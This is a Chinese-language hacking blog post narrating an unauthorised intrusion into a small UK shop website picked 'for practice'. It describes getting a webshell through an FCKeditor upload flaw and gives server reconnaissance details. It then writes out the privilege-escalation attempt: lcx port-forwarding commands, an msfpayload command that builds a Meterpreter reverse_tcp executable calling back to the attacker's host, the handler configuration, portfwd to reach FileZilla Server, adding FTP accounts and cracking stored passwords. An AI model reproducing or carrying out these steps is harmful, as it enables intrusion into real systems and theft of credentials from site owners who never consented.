Date/time:2013年,闲着没事随便找了个英国小站练手,通过对目标网站的观察得到个敏感目录userfile/file/,Fckeditor默认上传路径,Fckeditor 2.4.3 ASP这个版本有点问题,就是不能直接通过Get Folders and Files获取文件列表, 在IE浏览器左下脚会提示有JS脚本错误,得先上传个文件后才能获取,直接用BurpSuite拿到Webshell权限,主要还是记录下提权过程中遇到的问题吧。
基本信息探测:
目标站点:http://www.lowfiel***armshop.co.uk
服务器IP:9*.1*9.4.1*3(英国)
环境平台:ASP.NET
服务器系统:Microsoft-IIS/7.5
端口开放:21、80、135、445、3389、14147
补丁情况:服务器系统打了60+补丁(64位系统)
脚本探测:支持ASP、ASPX、PHP脚本
磁盘权限:C盘部分文件夹有可读/写权限
0x01 reverse_tcp实战应用过程
(1) 前期测试
试了些已公布的2008提权EXP,不过都失败了,第三方软件也只找到一个Filezilla Server。先把C:\Program Files (x86)\FileZilla Server文件夹打包到我们本地,然后再用lcx把Filezilla Server的14147端口转发出来,lcx执行命令如下。
首先VPS机器监听51端口,连接用14147端口:
VPS机器执行:
C:\>lcx.exe -listen 51 14147
目标机器执行:
/c C:\aspSmartUpload\lcx.exe -slave {公网VPS IP} 51 127.0.0.1 14147
lcx转发了FileZilla Server的14147端口后还是连接不上,返回右上图这样的报错,Google翻译报错信息得知:协议错误:未通过身份验证,关闭连接,连接到服务器关闭。使用netstat -ano命令查看当前网络连接状态如下。
TCP 9*.1*9.4.1*3:139 0.0.0.0:0 LISTENING 4
TCP 9*.1*9.4.1*3:54133 1*3.2*1.*7.1*8:51 ESTABLISHED 2028
TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 1040
TCP 127.0.0.1:14147 0.0.0.0:0 LISTENING 1088
TCP 127.0.0.1:14147 127.0.0.1:49160 ESTABLISHED 1088
TCP 127.0.0.1:49160 127.0.0.1:14147 ESTABLISHED 5736
可以看到我们已经与目标机器建立了一个完整TCP连接,而且我们本地机器也成功的返回了数据,但是好像返回的数据信息中有错误,如下图。
当前问题:
不能正常把目标服务器的FileZilla Server 14147端口给转发出来,返回数据中出错了,所以无法在本地连接上FileZilla Server服务端。
解决办法:
利用Metasploit工具里的reverse_tcp反向连接生成一个EXE攻击载荷文件,然后在Meterpreter会话中用portfwd命令进行端口转发即可。
(2) 实战应用
如果我们自己也处于内网环境的情况下,那么就需要先在路由器里进行端口映射配置,然后再用reverse_tcp反向连接来生成一个EXE攻击载荷文件,命令如下。
root@devil:~# msfpayload windows/x64/meterpreter/reverse_tcp LHOST=1*3.2*1.*7.1*8 LPORT=12345 X > /media/sf_系统学习/test.exe
先把我们生成好的test.exe载荷文件上传至目标机器的可读/写目录下,然后进入到MSF完成所有必填的配置选项,执行命令如下。
use exploit/mutil/handler //加载监听模块
set PAYLOADY windows/x64/meterpreter/reverse_tcp //设置攻击载荷
set LHOST 192.168.1.4 //设置攻击者内网IP
set LPORT 12345 //设置本地监听端口
exploit //exploit执行监听
将必填配置选项完成后执行exploit命令进行监听,然后在WebShell执行C:\aspSmartUpload\test.exe载荷文件,如果成功的话就会返回一个reverse_tcp反向连接的会话。
成功得到目标机器Meterpreter会话,然后直接使用portfwd命令进行端口转发即可,执行命令如下。
meterpreter > portfwd add -l 14147 -p 14147 -r 127.0.0.1
使用portfwd命令成功执行端口转发操作后,我们再来连接目标机器的FileZilla Server服务端看下是否能正常连接了??127.0.0.1是虚拟机的本地IP,DHCP分配的内网IP是:192.168.1.4,所以在物理机连接时必须填写192.168.1.4
。
注意事项:
第一个问题已经成功解决,使用portfwd端口转发后已成功连接FileZilla Server并添加FTP账号,但后边又遇到了另外一个问题,就是在用FTP客户端连接FTP时报出了421错误。FileZilla Server配置文件已经更新,说明FTP帐号已经被添加进去了,也尝试了破解配置文件中的FTP账号密码后连接FTP时仍然会报出421错误,弄了好久没找到问题所在,就先把这两个问题简单的记录在这里吧。
DOS命令行下连接FTP显示:
C:\Users\administrator>ftp
ftp> open 9*.1*9.4.1*3
连接到 9*.1*9.4.1*3,421 Server is locked, please try again later.,远程主机关闭连接。